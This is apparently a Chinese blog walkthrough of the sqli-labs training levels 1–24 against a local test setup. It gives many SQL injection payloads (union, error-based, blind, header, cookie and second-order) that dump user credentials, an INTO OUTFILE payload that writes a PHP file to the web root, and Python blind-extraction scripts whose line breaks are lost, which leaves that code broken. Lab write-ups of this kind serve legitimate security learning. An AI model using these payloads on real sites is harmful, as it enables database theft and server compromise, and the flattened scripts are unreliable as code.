SQL注入(闯关游戏)
目录
关卡1
关卡2
关卡3
关卡4
关卡5
关卡6
关卡7
关卡8
关卡9
关卡10
关卡11
关卡12
关卡13
关卡14
关卡15
关卡16
关卡17
关卡18
关卡19
关卡20
关卡21
关卡22
关卡23
关卡24
关卡1
(联合查询)
?gid=1
第一件事情就是逃脱单引号的控制——》为了闭合单引号
?gid=1’会报错,但是逃脱了单引号的控制
?gid=1%27
但是单双引号需要成对出现
?gid=1%27 union select 1,2,3需要联合查询下一步,但是依然没解决单双引号的问题
2个办法,就是把多出来的单引号闭合了,或者让它不生效-- , # , /****/ */
?gid=1%27# 然后发现这个#在url上面并没有生效
在url地址传参的时候,它不会编码我们的数组#和某些符号
编码规范是先取ascell 然后再取16进制
# 是%23
逃逸出来了后,下面就是要知道联合查询需要多少列,求当前表的列数
注意:mysql可以用数字来替换列名
就需要用order by来检测列数
检测到了列数就用联合查询
结果发现就没有任何变化。
它只取走了第一行,虽然后面的数据也取了但是没有展示在页面上。
办法就是让第一行不能取,只需要给它一个无效的id就可以将来二三列展现出来
我们就发现这个方法很好,所以更好的方法出来了
把这个2,3列换成mysql自带的函数
这种拿到了当前的用户和数据库名
现在库名知道了
首先你得知道管理员的表名
然后还需要知道管理员的列名
最终目的就是 注入管理员账号密码
然后我们发现mysql本身都是自带了三个库
在information_schema库里面有一张TABLES表和COLUMNS表一张表名一张列名。
SCHEMATA表里面有一个SCHEMA_NAME属性,然后发现里面的参数全是库名,明显哈没什么意义,因为我们刚刚用database()函数查到了。
TABLES表表里面有一个TABLES_SCHEMA属性,可以看见里面是所有的数据库名。还有一个TABLES_NAME属性里面就是数据库下面的所有表。
在COLUMNS表里面还有一个COLUMN_NAME属性,这个里面是有列名。
然后用mysql自带的三个数据库拿到数据库的表名、列名,又通过database()函数拿到了数据库名。又通过?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 3,1 --+这个拿到了security库的表名,
然后又通过?id=-1' union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='security' and table_name='users' limit 1,1 --+拿到了security属性值,
然后通过?id=-1' union select 1,username,password from security.users --+拿到账号密码。
关卡2
?id=1--+
其他步骤跟关卡1相同无非就是没有了’,这是整数型注入
关卡3
?id=1')--+
就闭合方式不同
闭合方式不同,其他步骤跟关卡1相同
关卡4
?id=1")--+
闭合方式不同其余步骤跟关卡1相同
关卡5
(报错注入)
单引号闭合
找注入点,在前端是显示不出来的,去尝试爆破注入
?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
注意:你复制粘贴的话很可能那个’无法转换成%27,那么可能会影响结果
因为xml文件路径里面不允许用~,所以会产生报错
0x7e就是16进制的~
然后改中间的concat()里面的值,无非就是将里面的user()改了()括号里面写sql语句
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
中间一看就没有注入完全,只注入了两个
所以需要解决长度问题
?id=1'%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)from%20users),1,32),0x7e),1)--+
关卡6
也是一样的跟关卡5但是是双引号闭合的
所以把?id=1’改为?id=1”其他步骤和配置一样
?id=1” and updatexml(1,concat(0x7e,user(),0x7e),1)--+
注意:你复制粘贴的话很可能那个’无法转换成%27,那么可能会影响结果
?id=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+
明显没截全,用关卡5用到的substr()函数去截全。
?id=1"%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,32),0x7e),1)--+
关卡7
Mysql如何导出或者上传Outfile
这个漏洞的利用非常苛刻
条件:
- mysql的用户权限必须为root
- 知道网站的物理路径
- 在variables里的secure_file_priv参数必须是什么都没有的情况
?id=1’)) union select 1,2,”<?php phpinfo():” into outfile “D:/phpstudy_pro/www/sqllabs/web.php”;--+
这两个其实是一样的
?id=1%27))%20union%20select%201,2,”<?php%20phpinfo():”%20into%20outfile%20“D:/phpstudy_pro/www/sqllabs/web.php”;--+
下面这一小关我就开始用小皮了,因为虚拟机里我并没有那个路径的文件
这个”<?php phpinfo()”这是一个参数字段跟前面的1,2一样的参数
Into outfile也就是导出到哪个目录(路径)下,
后面那个”D:/...........”明显就是跟的目录,等会就一个目录在那个下面去
到时候虽然这个程序报错,但是它是在目录下获取到的,然后打开这个文件,这个并不是虚拟机的哈是用的小皮在Windows搭建的mysql关卡。
注意:要满足三列:1,2,3列哈
关卡8
(亦真亦假)考虑一下
猜,以为数据库是security,s的ascii是115
写个错的:
这个是正确的:
?id=1' and ascii(substr(database(),1,1))=115--+
这个也就是先通过database()拿到数据库名,然后再使用substr()截取到数据库的第一个字母然后再通过ascii得到第一个字符的ASCII值然后再使用115去猜。
或者大于小于然后一个一个去判断其位置,得到数
或者这里用到了py,这个就是效率有点低
import time
import requestsurl = 'http://127.0.0.1/sqllabs/Less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)
可以将以上代码改进一下,无非就算法中的折半查找:
import time
import requestsurl = 'http://127.0.0.1/sqllabs/Less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}r = requests.get(url, params=res)end_time = time.time()if “You are in..........” in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
关卡9
?id=1' and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+
这段代码也就是将数据库的第一个字母转化成ascii码,如果大于100那么就会让浏览器沉睡转三秒,如果错了那么会直接显示,不会加载。这样也可以体现是否猜对了,其实主打一个暴力感觉,写py脚本会更容易一些这个。
也可以写个py脚本:
import time
import requestsurl = 'http://127.0.0.1/sqllabs/Less-9/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)
关卡10
查看代码我们发现,它跟第9关是一样的,只是存在闭合方式的不同
只需要将’单引号改为”双引号即可,其他步骤相同,无非就是暴力破解
?id=1" and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+
关卡11
这一关明显的是post注入
Get是在url进行传参,而这个就是在账号密码那去传递参数
然后就是找到注入点。
明显这里就看出了与get传参的不同,这里的传参的参数只用了两个,因为之前用的*去查的,现在只是用的是username和password去查的。
其次#可以直接用了,因为之前是url地址栏传参我们需要url地址栏编码的。Post传参不涉及到编码的。
然后下面那个密码框的内容可以随便写,因为账号框我写了一个#被闭合了后面的东西,所以后面的内容就不会有影响。
我之前的用admin’ unsion select 1,user()#依然是什么那副图的结果
后面我用了一个不存在的用户名aaaa,去查发现只要前面,用户查不到就可以自己username查后面的内容然后展示出来。(无非就是利用了sql语句前面查不到后面才可以展示出来)
所以找到了注入点
在账户上输入以下的命名:
aaaa' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
关卡12
跟关卡11是一样的无非也就是闭合问题
aaaa") union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
关卡13
这一关跟上面两关的不一样了,第一闭合方式
第二使用联合查询的话就无法展示出来了,因为这个源码被注释掉了
也就是这个效果:
aaa') union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #
所以我们使用报错注入:
aaa') and updatexml(1,concat(0x7e,user(),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
关卡14
a”
a" and updatexml(1,concat(0x7e,database(),0x7e),3)#
a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
a" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
关卡15
我们发现无论怎么输入都没有报错什么的
a' union select 1,2#
所以这个我们就得使用猜的想法(亦真亦假)
a' union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#
然后可以写一个py脚本
关卡16
其实和关卡15是一样的只是修改了闭合方式
a") union select 1,2#
所以这个我们就得使用猜的想法(亦真亦假)
a") union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#
关卡17
17关无非就是多了一个过滤函数
意味着不要再去想uname里面就别再有一些操作了,只能去password里面去操作
Usename必须写对,否则进不去passwd里面去
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
关卡18
User-agent注入
Username、password都被过滤了。
我们发现注入点就在uagent这里因为HTTP_USER_AGENT是可控的,是可以更改的,但是要保证自己的账号密码正确才可以走到那里面去,才可以注入。模拟的是自己注册了一个账号密码,然后进行注入
好了之后我就用了小皮,改到Windows上面来了
使用工具:BurpSuite.vbs
先抓包
记住哈,这里要写正确的
然后点击Forward
发现ip并没有改掉,但是user-agent还没修改
所以我打算在去修改一下user-agent
修改了,然后我们观察sql语句发现闭合就要使用’,所以现在直接去爆破注入了啥
闭合的方式我们发现需要保留数据的传递所以
在user-agent哪一段:
a’ and updatexml(1,concat(0x7e,user(),0x7e),1) and ‘1’ =1
当然了也可以不闭合,就需要将$IP和$uname进行构造,不然就会少两个
可以怎么写
a’ and updatexml(1,concat(0x7e,user(),0x7e),1), ‘1.1.1.1’,’admin’)#
关卡19
无非就是改了传递的参数
明显把18关的user-agent改为了HTTP_REFERER参数了
也就是修改下面这个参数
其余步骤与18关一样
修改了,然后我们观察sql语句发现闭合就要使用’,所以现在直接去爆破注入了啥
闭合的方式我们发现需要保留数据的传递所以
在Referer哪一段:
a’ and updatexml(1,concat(0x7e,user(),0x7e),1) and ‘1’ =1
关卡20
首先它会判断一下你有没有cookie,然后cookie里面有没有uname这个值,有的话就存储进去,如果没有的话就会走登入这个操作
如果cookie没有uname的话它就会继续往下走,它会问你是否有uname和passwd的这两个参数的提交,相当于一个表单的提交
然后它就会去判断查询的值
然后将刚才的uname设置成为cookie的键
然后进行一次header的跳转index.php
然后又会去判断你有没有cookie这个值,因为创建了嘛你这会就有cookie了
然后就走到了
第二次跳转的时候并没有提交,所以没有就进入这个函数
然后将来cookie拿出来
然后就开始把参数拿出来展示
然后它将cookie放入查询语句中
如果查询结果有问题的话就会报错,如果没问题的话就开始查询,如果查询到就会
否则就没有
最后无非就是多了个
其实问题就是在于:
这里并没有过滤
这个是从cookie里面取的,然后cookie里面的uname是设置的,然后只需要改uname的进行改变就可以了
继续使用工具BurpSuite.vbs
无非也就是先抓包然后再修改cookie
admin'
admin' and updatexml(1,concat(0x7e,user(),0x7e),1)#
关卡21
其实和20关一样,只是用了一个base64的编码,然后后面要解码,也就是多了个这个过程。
继续使用工具BurpSuite.vbs
先抓包
然后再修改cookie,先写上去什么在用base64进行编码放进去
关卡22
也就是闭合方式的不同跟21关一模一样除了闭合
其余步骤与关卡22一样
关卡23
无非就是不让我们用注释符了
?id=1%27and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)or%20%271%27=%271--%20+
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)or '1'='1-- + 判断表名
?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)or '1'='1-- + 判断列名
?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)or '1'='1-- + 判断数据
关卡24
Sql的二次注入
进行注册
账号:admin1'#
密码:123456
然后登入
账号:admin1'#
密码:123456
相关文章:
SQL注入(闯关游戏)
目录 关卡1 关卡2 关卡3 关卡4 关卡5 关卡6 关卡7 关卡8 关卡9 关卡10 关卡11 关卡12 关卡13 关卡14 关卡15 关卡16 关卡17 关卡18 关卡19 关卡20 关卡21 关卡22 关卡23 关卡24 关卡1 (联合查询) ?gid1 第一件事情就是逃脱单引号的控制——》为了闭…...
杂谈c语言——3.内存对齐
先看两个例子: typedef struct S {int a;double b;char c; }S;typedef struct B {int a;char b;double c; }B;int main() {printf("S : %d\n", sizeof(S));printf("B : %d\n", sizeof(B));return 0; } 结果为: S:24; B:16ÿ…...
架构师软考-每日两道单选题6
第11题 单选题 在软件系统工具中,版本控制工具属于( ),软件评价工具属于(/)。 A 软件开发工具 B 软件维护工具 C 编码与排错工具 D 软件管理和软件支持工具 解析 在软件系统工具中,版本控制工…...
Linux 内核源码分析---块设备
磁盘(disk)是指利用磁记录技术存储数据的存储器。 磁盘是计算机主要的存储介质,可以存储大量的二进制数据,并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘(Floppy Disk,简称软盘)…...
提供三方API接口、调用第三方接口API接口、模拟API接口(一)通过signature签名验证,避免参数恶意修改
为什么要设计安全的api接口 运行在外网服务器的接口暴露在整个互联网中,可能会受到各种攻击,例如恶意爬取服务器数据、恶意篡改请求数据等,因此需要一个机制去保证api接口是相对安全的。 本项目api接口安全设计 本项目api接口的安全性主要…...
前端性能优化-webpack构建优化
前言 本文主要总结 webpack 构建优化相关的事情 PS: webpack 的每次更新都会带来很多的新特性,因此学习新知识的时候,不要专注于流程的配置和调参。因为流程终会简化,参数(API)终会升级。要抓大放小,把精力…...
kafka消息队列(1)
文章目录 概述使用消息队列的场景消息队列--发布订阅消息队列--基本概念和原理1消息队列--基本概念和原理2 小结 概述 消息队列这个并不陌生,所谓消息队列,就是消息队列(MessageQueue,简称MQ)。 本质是就是个队列&am…...
前缀和专题
板子: (占坑) Leetcode 238. 除自身以外数组的乘积 优化前:使用前后缀数组记录 class Solution { public:vector<int> productExceptSelf(vector<int>& nums) {int n nums.size();vector<int> pre(n, 1),…...
【vulnhub】W1R3S.inc靶机
靶机安装 下载地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip 运行环境:vmware 信息收集 靶机发现IP扫描 nmap 192.168.93.0/24 端口扫描,发现开放21、22、80、3306端口 nmap -A 192.168.93.159 -p- 进行目录扫描 dirsearach -u http…...
PostgreSQL学习笔记(上)
PostgreSQL学习笔记(上) 1、基础知识 SQL语言包含4个部分: 数据定义语言(DDL):DROP、CREATE、ALTER等语句。 数据操作语言(DML):INSERT(插入)、UPDATE(修改)、DELETE(删除)语句。 数据查询语言(DQL):SELECT语句。 数据控制语…...
探索之路——初识 Vue Router:构建单页面应用的完整指南
目录 1. Vue Router 简介 2. 安装与配置 Vue Router 安装步骤 配置路由 3. 在 Vue 应用中使用路由 4. 进阶使用 路由守卫 懒加载 高级路由技术 嵌套路由 动态路由匹配 编程式的路由导航 路由懒加载 路由元信息 在现代前端开发中,单页面应用(SPA)因其出…...
如何判断机器学习模型的好坏之LIME和SHAP
LIME(Local Interpretable Model-agnostic Explanations)和SHAP(SHapley Additive exPlanations)是两种广泛使用的模型可解释性技术,旨在帮助理解复杂机器学习模型的决策过程。 LIME LIME (Local Interpretable Model-agnostic Explanations) 是一种技术,用于解释任何机…...
干货 | 2024步入数字化转型深水区,云原生业务稳定性如何保障(免费下载)
云原生业务的稳定性保障是一个涉及多个层面的复杂任务,以下是一些关键措施和策略,以确保云原生业务的高效稳定运行: 一、平台安全性评估与加固 云原生平台安全评估:对云原生平台(如Kubernetes、Docker等)…...
(四)springboot2.7.6集成activit5.23.0之更换数据源
前面学习时,使用的内存数据库H2,实际使用时,一般会替换我们指定的数据库,这个时候要怎么配置呢? 1.查看activiti-spring-boot-starter-basic的spring.factories配置。 2.查看DataSourceProcessEngineAutoConfigurati…...
MySQL数据的增删改查 where 条件查询 基础知识 【3】推荐
操作数据是数据库很重要的一部分,今天整理了下关于MySQL数据库数据的增删改查,包括基础查询、where条件查询、排序、分页、聚合、分组、having以及多表查询,多表查询的直接查询、内连接、外连接以及子查询。方便自己以后查看,也欢…...
linux命令整理(持续更新)
搜索历史记录Ctrl➕R 快速退出当前容器CtrlD 回到开头ctrl a 清屏ctrl l 打开文件 vi 文件 创建一个目录mkdir 文件夹 新建文件touch 文件 把文件1名字改为文件2mv 1 2 上面目录同理,如果第二个目录,则第一个文件移动到目录中 查看当前目录pwd 直接回…...
JavaScript和vue实现左右两栏,中间拖动按钮可以拖动左右两边的宽度
JavaScript实现: <!DOCTYPE html> <html lang"en"> <head><title>拖动效果</title><style> body, html {margin: 0;padding: 0;height: 100%;font-family: Arial, sans-serif; }.container {display: flex;height: …...
C++_sizeof的相关知识点
1.指针的大小永远是固定的,取决于处理器位数,32位就是 4 字节,64位就是 8 字节 2.数组作为函数参数时会退化为指针,大小要按指针的计算 int func(char array[]) {printf("sizeof%d\n", sizeof(array));printf("s…...
统信UOS微信常见问题
统信UOS微信常见问题 1. 家庭版如何激活? ①注册Union ID账号 ②绑定微信 ③登录Union ID激活系统 2. 应用商店微信qq下载失败,进行系统更新,提示依赖错误,检查更新失败怎么解决? 问题描述 安装应用商店内的应用无法…...
正则采集器之六——商品管理
将采集到的商品保存到数据库中并在后台系统展示,接下来讲解后端和前端代码。 后端 mapper类: package com.learn.reptile.mapper;import org.apache.ibatis.annotations.Mapper;import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.…...
php yii2 foreach中使用事务,事务中使用了 continue
问题描述:使用yii2,在foreach中使用事务,每个循环一个事务,在事务进行判断,然后直接continue,导致后面的循环数据没有保存成功 如下图: 修改后:如下图...
非负数、0和正数 限制最大值且保留两位小数在elementpuls表单中正则验证
一、结构 <el-form-item label="单价:" prop="price"><el-inputv-model.trim="formData.price"placeholder="请输入"@blur="formMethod.fixTwo"><template #append>(元)</template></el-input…...
【Go - 编译:浅尝辄止 】
1,为什么编译 编译 VS 不编译 在Go语言中,你可以选择go build编译代码生成二进制文件,或者直接使用go run命令运行代码。两种方式各有优缺点, 编译(go build) 优点 性能:编译生成的二进制文…...
java使用opencv
一、windows安装opencv 下载地址:https://opencv.org/releases/ 下载后安装 本人安装目录 目录说明: build:基于windows构建 java:开发关注 x64、x86对应windows操作系统位数 sources:开源源码 二、java使用ope…...
SpringMVC和Spring
1.AOP 1.基础内容 AOP是面向切面的的编程,AOP 是一种编程思想,是面向对象编程(OOP)的一种补充。 面向切面编程,实现在不修改源代码的情况下给程序动态统一添加额外功能的一种技术(增强代码)&…...
用C#和WinForms打造你的专属视频播放器:从多格式支持到全屏播放的完整指南
使用 C# 和 WinForms 创建一个功能齐全的视频播放器,支持 MP4 和 AVI 格式,并具有文件夹导入、多视频播放、全屏切换、视频列表管理等功能,是一个相对复杂的项目。下面我会给出一个基本的实现方案,包括所需的关键功能和相关代码示…...
「漏洞复现」百易云资产管理运营系统 comfileup.php 文件上传漏洞(XVE-2024-18154)
0x01 免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删…...
C:指针学习(1)-学习笔记
目录 前言: 知识回顾: 1、const 1.1 const修饰普通变量 1.2 const修饰指针变量 1.3 总结: 2、指针运算 2.1 指针-整数 2.2 指针-指针 2.3 指针的关系运算 3、指针的使用 结语: 前言: 距离上一次更新关于初…...
【practise】删除有序数组中的重复项
关于博主: 今天分享一道简单的关于“双指针”算法的题目。算是双指针中非常基础的题目,有兴趣可以借鉴一波~ 目录 1.题目介绍2.题解思路:双指针法3.代码示例 1.题目介绍 题目链接:LINK 本题要求是:对给定的有序数组…...
C语言——扫雷游戏
扫雷游戏通常是一个由方格组成的区域内进行的,其中随机分布着一定数量的地雷 。玩家的目标是通过点击方格来标记出所有地雷的位置,同时避免自己点到地雷而导致游戏失败。游戏开始时,玩家通常只能看到一部分方格,而其余的方格则需要…...
安装glibc+mysql的权限问题
安装glibc glibc mysql 俗称绿色mysql 安装之前删掉mariadb: 数据库初始化时候,会⾃动找my.cnf配置,但是原有的mariadb配 置⽂件,会失败 [rootmysql3 ~]# ls -l /etc/my.cnf -rw-r--r--. 1 root root 570 6月 8 2017 /etc/my.cnf [rootm…...
爬虫代理教程:爬虫代理池部署+高并发实现方法
在数据爬取的世界里,代理IP就像是爬虫的隐身衣,帮助我们在网络上自由穿梭,避免被目标网站识别封禁。今天我就来分享一下爬虫代理池的部署和高并发实现的技巧,希望能对大家有所帮助。 什么是爬虫代理池? 首先…...
C++ 几何算法 - 向量点乘,叉乘及其应用
一:点乘介绍 1. 向量点乘: 2. 向量点乘的性质: 3. 向量点乘公式: 4. 向量的点乘的属性: (1):向量与自身做点乘,会得到向量长度的平方: (2…...
用uniapp 及socket.io做一个简单聊天app 撤回聊天及保留聊天记录 6
撤回的设计 通过聊天,发送一个信息,界面自动将信息撤回, 当时要有时间的限制。同时也要将撤回记录到数据库中。async sendMessage(message, type text) {this.$refs.popup.close();const messageData {sn: uuidv4(),group_name: this.gro…...
Java重修笔记 第二十九天 枚举类
枚举类 1. 定义:枚举属于一种特殊的类,里面只包含一组有限的特定的对象,枚举对象通常为只读,不能修改。枚举对象名通常为大写,静态不可修改。 2. 运用场景:需要特定对象的场景,例如四季只有春…...
Golang 并发控制模型
文章目录 Golang 并发控制模型一、使用 channel 通知实现并发控制1、无缓冲通道2、有缓冲通道 二、使用 sync 包中的 WaitGroup 实现并发控制1、sync.WaitGroup2、sync.Once 三、使用 Context 上下文实现并发控制1、简介2、context 包3、继承 context4、context 例子5、context…...
搭建高可用OpenStack(Queen版)集群(四)之部署镜像管理服务(Glance)控制节点集群
一、搭建高可用OpenStack(Queen版)集群之部署镜像管理服务(Glance)控制节点集群 一、glance简介 1、概述 镜像服务允许用户发现、注册和获取虚拟机镜像。它提供了一个API,允许查询虚拟机镜像的metadata 并获取一个现存…...
C++空指针(nullptr)
C空指针(nullptr) 在C语言中我们把空指针定义成NULL,但是这在C中会有所问题,因为C对指针类型转换比较严格。下面让我来深入了解一下NULL与nullptr。 NULL实际就是一个宏,在C头文件(stddef.h)中,可以看到如下代码:…...
第二十一天培训笔记
上午 1 、环境准备 2 、安装 mysql 绿包 3 、配置 mysql 工作环境 mysql -hip 地址 -p3306 -uroot -p (远程连接使用) 4 、 mysql 基础命令 ( 1 )修改密码 ( 2 )授权远程登录 ( 3 &#x…...
计算机网络(网络层)
网络层概述 网络层是干什么的? 网络层的主要任务是实现不同异构网络互连,进而实现数据包在各网络之间的传输相比于数据链路层的以太网通信,网络层则是将一个个数据链路层连接的以太网通过路由器连接起来。从而实现不同数据链路层的互联。 这…...
sql注入11、17、24关
sql注入第11关 查看源码后发现注入点。 $sql"SELECT username, password FROM users WHERE username$uname and password$passwd LIMIT 0,1";$resultmysqli_query($con1, $sql);$row mysqli_fetch_array($result, MYSQLI_BOTH); 在User Name输入框中输入注入语句&…...
Phalco安装过程以及踩的一些坑(mac环境)
一 背景 公司用Phalcon框架好长时间了,中途发现了一些Phalcon使用的上的问题,于是想在本地搭建一套Phalcon的环境,方便排查问题使用。 二 Mac系统下的安装 看了很多说法,最终发现还是官网给力,安装Phalcon使用下列命令即可(前提条件是PHP已安装好,工具pecl也安装好了):…...
一键激活Conda:conda init --all命令全解析
一键激活Conda:conda init --all命令全解析 在科学计算和数据分析领域,Conda已成为管理Python环境和包的首选工具。为了在打开终端时能够直接使用Conda环境,需要对shell进行初始化。conda init --all命令是Conda提供的便捷工具,用…...
使用containerd作为容器运行k8s部署后端服务deployment样例
使用containerd作为容器运行k8s部署后端服务deployment样例 我把service和deployment都写在同一个yaml文件里面了。 --- apiVersion: apps/v1 kind: Deployment metadata:name: restfulweb # 部署的名称namespace: api # 部署到哪个命名空间 spec:replicas: 2 # 设置副本数量…...
如何在国外市场推广中国游戏
在国外市场推广中国游戏需要一种考虑文化差异、市场偏好和有效营销渠道的战略方法。以下是成功向国际观众介绍和推广中国游戏的关键步骤和策略: 进行市场调研 了解目标市场:首先确定哪些外国市场对你的游戏最具潜力。考虑类似游戏类型的受欢迎程度、玩…...
电影票房数据的获取,可以控制数量,并导出表格或csv
#本文仅供学习交流之用 import json import requests import pandas as pdheaders {Accept: application/json, text/plain, */*,Accept-Language: zh-CN,zh;q0.9,Cache-Control: no-cache,Connection: keep-alive,Content-Type: application/x-www-form-urlencoded,Origin: h…...
CHIESI凯西医药:外企入职测评综合能力及性格测试SHL题库测评真题解析
CHIESI凯西医药是一家意大利国际制药集团,以研发为核心,专注于呼吸道健康、罕见疾病和专科治疗的创新治疗方案。集团总部位于意大利帕尔马市,拥有超过85年的历史,业务遍及全球31个国家和地区,拥有7,000多名员工。2023年…...
Profinet转Modbus网关运用在DCS系统中与变频器的通讯案例
一、案例背景 随着工业自动化程度的不断提高,DCS系统被广泛应用于各种工业场景,而变频器作为调节电机转速的关键设备,其运行状态和数据需要被DCS系统实时监控和管理。然而,由于DCS系统往往采用Profinet等高级工业通讯协议&#x…...
AllReduce通信库;Reduce+LayerNorm+Broadcast 算子;LayerNorm(层归一化)和Broadcast(广播)操作;
目录 AllReduce通信库 一、定义与作用 二、常见AllReduce通信库 三、AllReduce通信算法 四、总结 Reduce+LayerNorm+Broadcast 算子 1. Reduce 算子 2. LayerNorm 算子 3. Broadcast 算子 组合作用 LayerNorm(层归一化)和Broadcast(广播)操作 提出的创新方案解析 优点与潜在…...
力扣 两数之和
致每一个初学算法的你。 题目 时间复杂度:O(N^2), 空间复杂度:O(1) 。 class Solution {public int[] twoSum(int[] nums, int target) {int n nums.length;for (int i 0; i < n; i) {for (int j i 1; j < n; j) {if (nums[i] …...